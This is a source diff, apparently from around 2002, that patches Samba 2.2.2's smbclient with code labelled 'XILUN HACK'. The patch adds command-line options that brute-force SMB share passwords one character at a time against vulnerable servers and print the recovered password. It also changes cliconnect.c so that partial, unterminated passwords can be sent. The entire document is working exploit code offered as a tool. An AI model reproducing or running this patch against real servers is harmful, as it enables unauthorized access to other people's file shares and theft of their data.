diff -r -C 2 samba-2.2.2/source/client/client.c samba-2.2.2-peche/source/client/client.c
*** samba-2.2.2/source/client/client.c  Sat Oct 13 23:09:19 2001
--- samba-2.2.2-peche/source/client/client.c  Wed Jan  9 21:46:24 2002
***************
*** 28,31 ****
--- 28,37 ----
  #endif
  
+ /* XILUN HACK */
+ static BOOL breakin;
+ static BOOL get_full_pwd;
+ static BOOL reversed_scan;
+ /* XILUN HACK */
+ 
  struct cli_state *cli;
  extern BOOL in_client;
***************
*** 1969,1972 ****
--- 1975,1984 ----
  struct cli_state *do_connect(char *server, char *share)
  {
+ /* XILUN HACK */
+   unsigned char scanpass[10];
+   int way;
+   int first_char;
+   int last_char;
+ /* XILUN HACK */
    struct cli_state *c;
    struct nmb_name called, calling;
***************
*** 2072,2079 ****
    if (!cli_send_tconX(c, sharename, "?????",
            password, strlen(password)+1)) {
!     DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
!     cli_shutdown(c);
!     free(c);
!     return NULL;
    }
  
--- 2084,2134 ----
    if (!cli_send_tconX(c, sharename, "?????",
            password, strlen(password)+1)) {
! /* XILUN HACK */ 
!     if (!breakin) {
!       DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
!       cli_shutdown(c);
!       free(c);
!       return NULL;
!     } else {
!       BOOL found = False;
!       c->sec_mode = 0; /**/
!       if (reversed_scan) {
!         way = -1; first_char = 0xFF; last_char = 0x20;
!       } else {
!         way =  1; first_char = 0x20; last_char = 0xFF;
!       }
!       if (get_full_pwd) {
!         int deep;
!         for (deep = 0; deep <= 8; deep++) scanpass[deep] = 0;
!         for (deep = 0; deep <= 7; deep++) {
!           scanpass[deep] = first_char - way;
!           while (scanpass[deep] != last_char) {
!             scanpass[deep]+=way;
!             if (cli_send_tconX(c, sharename,
!                 "?????", scanpass, deep+1))
!                 { found = True; break; }
!           }
!           if (!found || cli_send_tconX(c, sharename,
!                 "?????", scanpass, deep+2))
!             break;
!         }
!       } else {
!         scanpass[0] = first_char - way;
!         scanpass[1] = 0;
!         while (scanpass[0] != last_char) {
!           scanpass[0]+=way;
!           if (cli_send_tconX(c, sharename,
!                  "?????", scanpass, 1))
!             { found = True; break; }
!         }
!       }
!       if (!found) {
!         DEBUG(0,("Sorry you're dealing with a non broken smb server\n"));
!         cli_shutdown(c);
!         free(c);
!         return NULL;
!       } else DEBUG(0,("(Partial) password found : %s\n",scanpass));
!     }
! /* XILUN HACK */ 
    }
  
***************
*** 2138,2141 ****
--- 2193,2201 ----
    DEBUG(0,("\t-c command string     execute semicolon separated commands\n"));
    DEBUG(0,("\t-b xmit/send buffer   changes the transmit/send buffer (default: 65520)\n"));
+ /* XILUN HACK */
+   DEBUG(0,("\t-w                    connect to host walking around the password\n"));
+   DEBUG(0,("\t-f                    display the host full password and connect\n"));
+   DEBUG(0,("\t-r                    use reverse order to scan the password\n"));
+ /* XILUN HACK */
    DEBUG(0,("\n"));
  }
***************
*** 2421,2426 ****
  
    while ((opt = 
!     getopt(argc, argv,"s:O:R:M:i:Nn:d:Pp:l:hI:EU:L:t:m:W:T:D:c:b:A:")) != EOF) {
      switch (opt) {
      case 's':
        pstrcpy(servicesf, optarg);
--- 2481,2499 ----
  
    while ((opt = 
!     getopt(argc, argv,"wfrs:O:R:M:i:Nn:d:Pp:l:hI:EU:L:t:m:W:T:D:c:b:A:")) != EOF) {
      switch (opt) {
+ /* XILUN HACK */
+     case 'w':
+       breakin = True;
+       break;
+     case 'f':
+       breakin = True;
+       get_full_pwd = True;
+       break;
+     case 'r':
+       breakin = True;
+       reversed_scan = True;
+       break;
+ /* XILUN HACK */
      case 's':
        pstrcpy(servicesf, optarg);
diff -r -C 2 samba-2.2.2/source/libsmb/cliconnect.c samba-2.2.2-peche/source/libsmb/cliconnect.c
*** samba-2.2.2/source/libsmb/cliconnect.c  Fri Jul  6 04:01:37 2001
--- samba-2.2.2-peche/source/libsmb/cliconnect.c  Wed Jan  9 21:45:54 2002
***************
*** 256,260 ****
         * Non-encrypted passwords - convert to DOS codepage before using.
         */
!       passlen = clistr_push(cli, pword, pass, -1, STR_CONVERT|STR_TERMINATE);
      } else {
        memcpy(pword, pass, passlen);
--- 256,263 ----
         * Non-encrypted passwords - convert to DOS codepage before using.
         */
!       if (pass[passlen-1] == 0)
!         passlen = clistr_push(cli, pword, pass, -1, STR_CONVERT|STR_TERMINATE);
!       else 
!         passlen = clistr_push(cli, pword, pass, -1, STR_CONVERT);
      } else {
        memcpy(pword, pass, passlen);